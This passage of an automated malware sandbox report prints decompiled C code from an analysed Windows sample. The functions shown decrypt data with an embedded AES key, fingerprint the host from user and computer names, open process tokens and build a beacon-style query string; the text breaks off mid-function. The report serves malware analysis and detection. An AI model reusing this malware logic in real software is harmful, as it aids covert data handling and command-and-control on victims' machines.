				_t93 =  *0x33da2d0; // 0x266d5a8
				_t16 = _t93 + 0x33db846; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x033d4ea5
0x033d4eab
0x033d4ead
0x033d4ec7
0x033d4ecb
0x033d4ece
0x033d5143
0x033d514a
0x033d514a
0x033d4ed4
0x033d4ee9
0x033d4eeb
0x033d4eef
0x033d4ef2
0x033d5133
0x033d513d
0x00000000
0x033d513d
0x033d4ef8
0x033d4f03
0x033d4f08
0x033d4f0d
0x033d4f10
0x033d4f17
0x033d4f1e
0x033d4f21
0x033d5123
0x033d512d
0x00000000
0x033d512d
0x033d4f37
0x033d4f3b
0x033d4f3e
0x033d4f41
0x033d4f49
0x033d4f4c
0x033d4f55
0x033d4f5b
0x033d4f65
0x033d4f6c
0x033d4f6c
0x033d4f7e
0x033d4f89
0x033d4f97
0x033d4f9c
0x033d4fa1
0x033d4fa4
0x033d4fa9
0x033d4fb3
0x033d4fb6
0x033d4fb9
0x033d4fcf
0x033d4fd3
0x033d4fd6
0x033d5121
0x00000000
0x033d5121
0x033d4fed
0x033d503e
0x033d5001
0x033d5009
0x033d500e
0x033d501c
0x033d5025
0x033d502e
0x033d502e
0x033d503c
0x033d503c
0x033d5042
0x033d5046
0x033d5046
0x033d504c
0x00000000
0x00000000
0x033d504e
0x033d5054
0x033d50fb
0x033d50fe
0x033d510b
0x033d510b
0x033d510f
0x00000000
0x00000000
0x033d5104
0x033d5108
0x033d5108
0x033d510a
0x033d510a
0x033d5114
0x033d511b
0x033d511d
0x00000000
0x033d511d
0x033d505a
0x033d505c
0x033d505c
0x033d506f
0x033d5075
0x033d5080
0x033d5082
0x033d5086
0x033d5088
0x033d5088
0x033d508d
0x033d508f
0x033d508f
0x033d508d
0x033d5094
0x033d5098
0x033d5098
0x033d50a8
0x033d50ad
0x033d50b0
0x033d50b0
0x033d50b3
0x033d50bd
0x033d50c5
0x033d50ca
0x033d50d8
0x033d50d8
0x033d50ec
0x033d50f0
0x033d50f0

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,033DA380), ref: 033D4EC7
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 033D4EE9
memset.NTDLL ref: 033D4F03

Part of subcall function 033D1000: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,?,63699BCE,033D4F1C,73797325), ref: 033D1011
Part of subcall function 033D1000: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 033D102B

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 033D4F41
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 033D4F55
FindCloseChangeNotification.KERNELBASE(?), ref: 033D4F6C
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 033D4F78
lstrcat.KERNEL32(?,642E2A5C), ref: 033D4FB9
FindFirstFileA.KERNELBASE(?,?), ref: 033D4FCF
CompareFileTime.KERNEL32(?,?), ref: 033D4FED
FindNextFileA.KERNELBASE(033D3EAC,?), ref: 033D5001
FindClose.KERNEL32(033D3EAC), ref: 033D500E
FindFirstFileA.KERNEL32(?,?), ref: 033D501A
CompareFileTime.KERNEL32(?,?), ref: 033D503C
StrChrA.SHLWAPI(?,0000002E), ref: 033D506F
memcpy.NTDLL(033D2779,?,00000000), ref: 033D50A8
FindNextFileA.KERNELBASE(033D3EAC,?), ref: 033D50BD
FindClose.KERNEL32(033D3EAC), ref: 033D50CA
FindFirstFileA.KERNEL32(?,?), ref: 033D50D6
CompareFileTime.KERNEL32(?,?), ref: 033D50E6
FindClose.KERNELBASE(033D3EAC), ref: 033D511B
HeapFree.KERNEL32(00000000,033D2779,73797325), ref: 033D512D
HeapFree.KERNEL32(00000000,?), ref: 033D513D

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: 5b55d9f838b7c6df66333cc7ac19ab191bbd22147256c102644dba114a953a81
Instruction ID: bebfe7d1b247411898fade76f0d5d713e16c5a89f47bcc4e6c15d49b51093d4e
Opcode Fuzzy Hash: 5b55d9f838b7c6df66333cc7ac19ab191bbd22147256c102644dba114a953a81
Instruction Fuzzy Hash: 568126B2D01209AFEF11EFA5FC84AEEBBBDFB49300F144066E505E6250D7359A548BA0

Uniqueness

Uniqueness Score: -1.00%

Function 033D35A1, Relevance: 19.7, APIs: 13, Instructions: 163
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E033D35A1(int __eax, intOrPtr _a4, int _a8, void* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				int _v8;
				long* _v12;
				int _v16;
				BYTE* _v20;
				long* _v24;
				void* _v39;
				char _v40;
				void _v56;
				int _v60;
				intOrPtr _v64;
				void _v67;
				char _v68;
				void* _t61;
				int _t68;
				signed int _t76;
				int _t79;
				int _t81;
				int _t85;
				long _t86;
				int _t90;
				signed int _t94;
				int _t101;
				BYTE* _t102;
				int _t103;
				void* _t104;
				void* _t105;
				void* _t106;

				_t103 = __eax;
				_t94 = 6;
				_v68 = 0;
				memset( &_v67, 0, _t94 << 2);
				_t105 = _t104 + 0xc;
				asm("stosw");
				asm("stosb");
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t61 =  *0x33da0b8( &_v24, 0, 0, 0x18, 0xf0000000); // executed
				if(_t61 == 0) {
					_a8 = GetLastError();
				} else {
					_t101 = 0x10;
					memcpy( &_v56, _a8, _t101);
					_t106 = _t105 + 0xc;
					_v60 = _t101;
					_v67 = 2;
					_v64 = 0x660e;
					_v68 = 8;
					_t68 = CryptImportKey(_v24,  &_v68, 0x1c, 0, 0,  &_v12); // executed
					if(_t68 == 0) {
						_a8 = GetLastError();
					} else {
						_push(0);
						_push( &_v40);
						_push(1);
						_push(_v12);
						if( *0x33da0dc() == 0) {
							_a8 = GetLastError();
						} else {
							_t18 = _t103 + 0xf; // 0x10
							_t76 = _t18 & 0xfffffff0;
							if(_a4 != 0 && _t76 == _t103) {
								_t76 = _t76 + _t101;
							}
							_t102 = E033D5C4E(_t76);
							_v20 = _t102;
							if(_t102 == 0) {
								_a8 = 8;
							} else {
								_v16 = 0;
								_a8 = 0;
								while(1) {
									_t79 = 0x10;
									_v8 = _t79;
									if(_t103 <= _t79) {
										_v8 = _t103;
									}
									memcpy(_t102, _a12, _v8);
									_t81 = _v8;
									_a12 = _a12 + _t81;
									_t103 = _t103 - _t81;
									_t106 = _t106 + 0xc;
									if(_a4 == 0) {
										_t85 = CryptDecrypt(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8);
									} else {
										_t85 =  *0x33da0a8(_v12, 0, 0 | _t103 == 0x00000000, 0, _t102,  &_v8, 0x20);
									}
									if(_t85 == 0) {
										break;
									}
									_t90 = _v8;
									_v16 = _v16 + _t90;
									_t102 =  &(_t102[_t90]);
									if(_t103 != 0) {
										continue;
									} else {
										L17:
										 *_a16 = _v20;
										 *_a20 = _v16;
									}
									goto L21;
								}
								_t86 = GetLastError();
								_a8 = _t86;
								if(_t86 != 0) {
									E033D2A03(_v20);
								} else {
									goto L17;
								}
							}
						}
						L21:
						CryptDestroyKey(_v12);
					}
					CryptReleaseContext(_v24, 0);
				}
				return _a8;
			}

0x033d35aa
0x033d35b0
0x033d35b3
0x033d35b9
0x033d35b9
0x033d35bb
0x033d35bd
0x033d35c0
0x033d35c6
0x033d35c7
0x033d35c8
0x033d35ce
0x033d35d3
0x033d35d9
0x033d35e1
0x033d373e
0x033d35e7
0x033d35e9
0x033d35f2
0x033d35f7
0x033d3609
0x033d360c
0x033d3610
0x033d3617
0x033d361b
0x033d3623
0x033d3729
0x033d3629
0x033d3629
0x033d362d
0x033d362e
0x033d3630
0x033d363b
0x033d3715
0x033d3641
0x033d3641
0x033d3644
0x033d364a
0x033d3650
0x033d3650
0x033d3658
0x033d365c
0x033d365f
0x033d3706
0x033d3665
0x033d366b
0x033d366e
0x033d3671
0x033d3673
0x033d3676
0x033d3679
0x033d367b
0x033d367b
0x033d3685
0x033d368a
0x033d368d
0x033d3690
0x033d3692
0x033d369b
0x033d36c5
0x033d369d
0x033d36ae
0x033d36ae
0x033d36cd
0x00000000
0x00000000
0x033d36cf
0x033d36d2
0x033d36d5
0x033d36d9
0x00000000
0x033d36db
0x033d36ea
0x033d36f0
0x033d36f8
0x033d36f8
0x00000000
0x033d36d9
0x033d36dd
0x033d36e5
0x033d36e8
0x033d36ff
0x00000000
0x00000000
0x00000000
0x033d36e8
0x033d365f
0x033d3718
0x033d371b
0x033d371b
0x033d3730
0x033d3730
0x033d3748

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000018,F0000000,00000000,00000000,00000000,?,?,?,033D1B16,00000001,033D6301,00000000), ref: 033D35D9
memcpy.NTDLL(033D1B16,033D6301,00000010,?,?,?,033D1B16,00000001,033D6301,00000000,?,033D5B47,00000000,033D6301,?,00000000), ref: 033D35F2
CryptImportKey.ADVAPI32(?,?,0000001C,00000000,00000000,00000000), ref: 033D361B
CryptSetKeyParam.ADVAPI32(00000000,00000001,?,00000000), ref: 033D3633
memcpy.NTDLL(00000000,00000000,05A49630,00000010), ref: 033D3685
CryptEncrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,05A49630,00000020,?,?,00000010), ref: 033D36AE
CryptDecrypt.ADVAPI32(00000000,00000000,00000000,00000000,00000000,05A49630,?,?,00000010), ref: 033D36C5
GetLastError.KERNEL32(?,?,00000010), ref: 033D36DD
GetLastError.KERNEL32 ref: 033D370F
CryptDestroyKey.ADVAPI32(00000000), ref: 033D371B
GetLastError.KERNEL32 ref: 033D3723
CryptReleaseContext.ADVAPI32(?,00000000), ref: 033D3730
GetLastError.KERNEL32(?,?,?,033D1B16,00000001,033D6301,00000000,?,033D5B47,00000000,033D6301,?,00000000,033D6301,00000000,05A49630), ref: 033D3738

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Crypt$ErrorLast$Contextmemcpy$AcquireDecryptDestroyEncryptImportParamRelease
String ID:
API String ID: 1967744295-0
Opcode ID: 0831cf347c0321b797d22b38ac839828df30909eebbffa24c9d6d03cb6e3016a
Instruction ID: c5b94e88795132cd7f39ea471704050ac1eb0c6f6cc0cf09caa7c803d608b712
Opcode Fuzzy Hash: 0831cf347c0321b797d22b38ac839828df30909eebbffa24c9d6d03cb6e3016a
Instruction Fuzzy Hash: 7B512AB6901208BFDB11DFA9EDC4AAEBBBDEB08350F044425F915E6250D7749E148F62

Uniqueness

Uniqueness Score: -1.00%

Function 6DD7BFB5, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,000007A6,00003000,00000040,000007A6,6DD7BA10), ref: 6DD7C072
VirtualAlloc.KERNEL32(00000000,0000002B,00003000,00000040,6DD7BA6E), ref: 6DD7C0A9
VirtualAlloc.KERNEL32(00000000,0000F0DD,00003000,00000040), ref: 6DD7C109
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6DD7C13F
VirtualProtect.KERNEL32(6DD30000,00000000,00000004,6DD7BF94), ref: 6DD7C244
VirtualProtect.KERNEL32(6DD30000,00001000,00000004,6DD7BF94), ref: 6DD7C26B
VirtualProtect.KERNEL32(00000000,?,00000002,6DD7BF94), ref: 6DD7C338
VirtualProtect.KERNEL32(00000000,?,00000002,6DD7BF94,?), ref: 6DD7C38E
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6DD7C3AA

Memory Dump Source

Source File: 00000004.00000002.507757460.000000006DD7B000.00000040.00020000.sdmp, Offset: 6DD7B000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: 1152dc6f38a6bf9fe1bda6254ba7163402deb398324214f3b73d2ee5c3fae3d3
Instruction ID: a90cf71d78cc0941e895a43051fad599a4dcd1d1aa7dd63d1c7c30ec014bb921
Opcode Fuzzy Hash: 1152dc6f38a6bf9fe1bda6254ba7163402deb398324214f3b73d2ee5c3fae3d3
Instruction Fuzzy Hash: 68D14772604609AFDB21DF5CC880A5137BAFF48310B1E4A94EE4D9F65AE770EC109BB4

Uniqueness

Uniqueness Score: -1.00%

Function 033D3946, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E033D3946(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x33da2c8; // 0xbd092303
					_v12 = _t59;
				}
				_t64 = _t69;
				E033D354E( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x33da2cc ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x33da290, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E033D3F12(_v8 + _v8, _t63);
							}
							HeapFree( *0x33da290, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x33da290, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E033D3F12(_v8 + _v8, _t63);
						}
						HeapFree( *0x33da290, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x033d3946
0x033d394e
0x033d3954
0x033d3957
0x033d395a
0x033d395c
0x033d3961
0x033d3961
0x033d3967
0x033d3969
0x033d3976
0x033d39d7
0x033d3978
0x033d397d
0x033d3983
0x033d3988
0x033d3996
0x033d399a
0x033d39a9
0x033d39b0
0x033d39b7
0x033d39b7
0x033d39c2
0x033d39c2
0x033d399a
0x033d3988
0x033d39d9
0x033d39df
0x033d39e9
0x033d39eb
0x033d39f0
0x033d39ff
0x033d3a03
0x033d3a0e
0x033d3a15
0x033d3a1c
0x033d3a1c
0x033d3a28
0x033d3a28
0x033d3a03
0x033d3a31
0x033d3a33
0x033d3a36
0x033d3a38
0x033d3a3b
0x033d3a3e
0x033d3a48
0x033d3a4c
0x033d3a50

APIs

GetUserNameW.ADVAPI32(00000000,033D2F3F), ref: 033D397D
RtlAllocateHeap.NTDLL(00000000,033D2F3F), ref: 033D3994
GetUserNameW.ADVAPI32(00000000,033D2F3F), ref: 033D39A1
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,033D2F3F,?,?,?,?,?,033D44F9,?,00000001), ref: 033D39C2
GetComputerNameW.KERNEL32(00000000,00000000), ref: 033D39E9
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 033D39FD
GetComputerNameW.KERNEL32(00000000,00000000), ref: 033D3A0A
HeapFree.KERNEL32(00000000,00000000), ref: 033D3A28

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: 079bd004a4bbe3f0b63382b13c1f69b0bf0d8bfd7a7e9676e0d090354848b6a0
Instruction ID: 639dc0601456ee571bd01681c228dd3e535717765647b82df5e132573f7f1664
Opcode Fuzzy Hash: 079bd004a4bbe3f0b63382b13c1f69b0bf0d8bfd7a7e9676e0d090354848b6a0
Instruction Fuzzy Hash: F131F57AA01209AFDB11EFA9EDC1B6EB7FDAB48710F144069A506D7240D730AE249A11

Uniqueness

Uniqueness Score: -1.00%

Function 033D3CA1, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E033D3CA1(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E033D5C4E(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E033D2A03(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x033d3cae
0x033d3caf
0x033d3cb0
0x033d3cb1
0x033d3cb2
0x033d3cb6
0x033d3cbd
0x033d3ccc
0x033d3ccf
0x033d3cd2
0x033d3cd9
0x033d3cdc
0x033d3cdf
0x033d3ce2
0x033d3ce5
0x033d3cf0
0x033d3cf2
0x033d3cfb
0x033d3d03
0x033d3d05
0x033d3d17
0x033d3d21
0x033d3d25
0x033d3d34
0x033d3d38
0x033d3d41
0x033d3d49
0x033d3d49
0x033d3d4b
0x033d3d4b
0x033d3d53
0x033d3d59
0x033d3d5d
0x033d3d5d
0x033d3d68

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 033D3CE8
NtOpenProcessToken.NTDLL(00000000,00000008,00000000), ref: 033D3CFB
NtQueryInformationToken.NTDLL(00000000,00000001,00000000,00000000,00000000), ref: 033D3D17

Part of subcall function 033D5C4E: RtlAllocateHeap.NTDLL(00000000,00000000,033D3FAA), ref: 033D5C5A

NtQueryInformationToken.NTDLL(00000000,00000001,00000000,00000000,00000000), ref: 033D3D34
memcpy.NTDLL(00000000,00000000,0000001C), ref: 033D3D41
NtClose.NTDLL(00000000), ref: 033D3D53
NtClose.NTDLL(00000000), ref: 033D3D5D

Memory Dump Source

Source File: 00000004.00000002.504702819.00000000033D1000.00000020.00000001.sdmp, Offset: 033D0000, based on PE: true

Associated: 00000004.00000002.504690019.00000000033D0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504741638.00000000033D9000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.504766900.00000000033DA000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.504783926.00000000033DC000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 59e5dcbed7f22d23d24bc8f3c978e15a8e08b729865af2922f1855e2a9b11b0e
Instruction ID: 4a1a6bc4f13efed5b221b6ef093acc3ea2d2541fadaf592268cf40f7e9a77275
Opcode Fuzzy Hash: 59e5dcbed7f22d23d24bc8f3c978e15a8e08b729865af2922f1855e2a9b11b0e
Instruction Fuzzy Hash: 092116B6900218BBDB11EFA5EC84ADEBFBDFF08750F104022F901EA164D7719A549FA0

Uniqueness

Uniqueness Score: -1.00%

Function 033D6DB7, Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 263
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E033D6DB7(long __eax, void* __ecx, void* __edx, intOrPtr _a4, void* _a8, char** _a12, int* _a16, signed int _a20) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* __ebx;
				void* __edi;
				long _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				void* _t71;
				intOrPtr _t72;
				int _t75;
				void* _t76;
				intOrPtr _t77;
				intOrPtr _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				void* _t88;
				void* _t91;
				intOrPtr _t95;
				intOrPtr _t99;
				intOrPtr* _t101;
				void* _t102;
				void* _t107;
				intOrPtr _t112;
				signed int _t116;
				char** _t118;
				int _t121;
				signed int _t123;
				intOrPtr* _t124;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t130;
				intOrPtr _t133;
				intOrPtr _t136;
				int _t139;
				intOrPtr _t140;
				int _t143;
				void* _t144;
				void* _t145;
				void* _t155;
				int _t158;
				void* _t159;
				void* _t160;
				void* _t161;
				intOrPtr _t162;
				void* _t164;
				long _t168;
				intOrPtr* _t169;
				intOrPtr* _t172;
				void* _t173;
				void* _t175;
				void* _t176;
				void* _t181;

				_t155 = __edx;
				_t145 = __ecx;
				_t63 = __eax;
				_t144 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t63 = GetTickCount();
				}
				_t64 =  *0x33da018; // 0x68e76c41
				asm("bswap eax");
				_t65 =  *0x33da014; // 0x5cb11ae7
				asm("bswap eax");
				_t66 =  *0x33da010; // 0x15dc9586
				asm("bswap eax");
				_t67 =  *0x33da00c; // 0x69ab8210
				asm("bswap eax");
				_t68 =  *0x33da2d0; // 0x266d5a8
				_t3 = _t68 + 0x33db622; // 0x74666f73
				_t158 = wsprintfA(_t144, _t3, 3, 0x3d14c, _t67, _t66, _t65, _t64,  *0x33da02c,  *0x33da004, _t63);
				_t71 = E033D271A();
				_t72 =  *0x33da2d0; // 0x266d5a8
				_t4 = _t72 + 0x33db662; // 0x74707526
				_t75 = wsprintfA(_t158 + _t144, _t4, _t71);
				_t175 = _t173 + 0x38;
				_t159 = _t158 + _t75;
				if(_a8 != 0) {
					_t140 =  *0x33da2d0; // 0x266d5a8
					_t8 = _t140 + 0x33db66d; // 0x732526
					_t143 = wsprintfA(_t159 + _t144, _t8, _a8);
					_t175 = _t175 + 0xc;
					_t159 = _t159 + _t143;
				}
				_t76 = E033D2956(_t145);
				_t77 =  *0x33da2d0; // 0x266d5a8
				_t10 = _t77 + 0x33db38a; // 0x6d697426
				_t160 = _t159 + wsprintfA(_t159 + _t144, _t10, _t76, _t155);
				_t81 =  *0x33da2d0; // 0x266d5a8
				_t12 = _t81 + 0x33db7b4; // 0x5a48d5c
				_t181 = _a4 - _t12;
				_t14 = _t81 + 0x33db33b; // 0x74636126
				_t157 = 0 | _t181 == 0x00000000;
				_t161 = _t160 + wsprintfA(_t160 + _t144, _t14, _t181 == 0);
				_t85 =  *0x33da318; // 0x5a495e0
				_t176 = _t175 + 0x1c;
				if(_t85 != 0) {
					_t136 =  *0x33da2d0; // 0x266d5a8
					_t18 = _t136 + 0x33db8ea; // 0x3d736f26
					_t139 = wsprintfA(_t161 + _t144, _t18, _t85);
					_t176 = _t176 + 0xc;
					_t161 = _t161 + _t139;
				}
				_t86 =  *0x33da328; // 0x5a495b0
				if(_t86 != 0) {
					_t133 =  *0x33da2d0; // 0x266d5a8
					_t20 = _t133 + 0x33db685; // 0x73797326
					wsprintfA(_t161 + _t144, _t20, _t86);
					_t176 = _t176 + 0xc;
				}
				_t162 =  *0x33da37c; // 0x5a49630
				_t88 = E033D5741(0x33da00a, _t162 + 4);
				_t168 = 0;
				_v12 = _t88;
				if(_t88 == 0) {
					L28:
					RtlFreeHeap( *0x33da290, _t168, _t144); // executed
					return _a20;
				} else {
					_t91 = RtlAllocateHeap( *0x33da290, 0, 0x800);
					_a8 = _t91;
					if(_t91 == 0) {
						L27:
						HeapFree( *0x33da290, _t168, _v12);
						goto L28;
					}
					E033D1A51(GetTickCount());
					_t95 =  *0x33da37c; // 0x5a49630
					__imp__(_t95 + 0x40);
					asm("lock xadd [eax], ecx");
					_t99 =  *0x33da37c; // 0x5a49630
					__imp__(_t99 + 0x40);
					_t101 =  *0x33da37c; // 0x5a49630
					_t102 = E033D5AE3(1, _t157, _t144,  *_t101); // executed
					_t164 = _t102;
					_v20 = _t164;
					asm("lock xadd [eax], ecx");
					if(_t164 == 0) {
						L26:
						RtlFreeHeap( *0x33da290, _t168, _a8); // executed
						goto L27;
					}
					StrTrimA(_t164, 0x33d92cc);
					_push(_t164);
					_t107 = E033D2829();
					_v8 = _t107;
					if(_t107 == 0) {
						L25:
						RtlFreeHeap( *0x33da290, _t168, _t164); // executed
						goto L26;
					}
					 *_t164 = 0;
					__imp__(_a8, _v12);
					_t169 = __imp__;
					 *_t169(_a8, _v8);
					 *_t169(_a8, _t164);
					_t112 = E033D33FA(0, _a8);
					_a4 = _t112;
					if(_t112 == 0) {
						_a20 = 8;
						L23:
						E033D2813();
						L24:
						RtlFreeHeap( *0x33da290, 0, _v8); // executed
						_t168 = 0;
						goto L25;
					}
					_t116 = E033D5C63(_t144, 0xffffffffffffffff, _t164,  &_v16); // executed
					_a20 = _t116;
					if(_t116 == 0) {
						_t172 = _v16;
						_t123 = E033D1671(_t172, _a4, _a12, _a16); // executed
						_a20 = _t123;
						_t124 =  *((intOrPtr*)(_t172 + 8));
						 *((intOrPtr*)( *_t124 + 0x80))(_t124);
						_t126 =  *((intOrPtr*)(_t172 + 8));
						 *((intOrPtr*)( *_t126 + 8))(_t126);
						_t128 =  *((intOrPtr*)(_t172 + 4));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
						_t130 =  *_t172;
						 *((intOrPtr*)( *_t130 + 8))(_t130);
						E033D2A03(_t172);
					}
					if(_a20 != 0x10d2) {
						L18:
						if(_a20 == 0) {
							_t118 = _a12;
							if(_t118 != 0) {
								_t165 =  *_t118;
								_t170 =  *_a16;
								wcstombs( *_t118,  *_t118,  *_a16);
								_t121 = E033D6459(_t165, _t165, _t170 >> 1);
								_t164 = _v20;
								 *_a16 = _t121;
							}
						}
						goto L21;
					} else {
						if(_a12 != 0) {
							L21:
							E033D2A03(_a4);
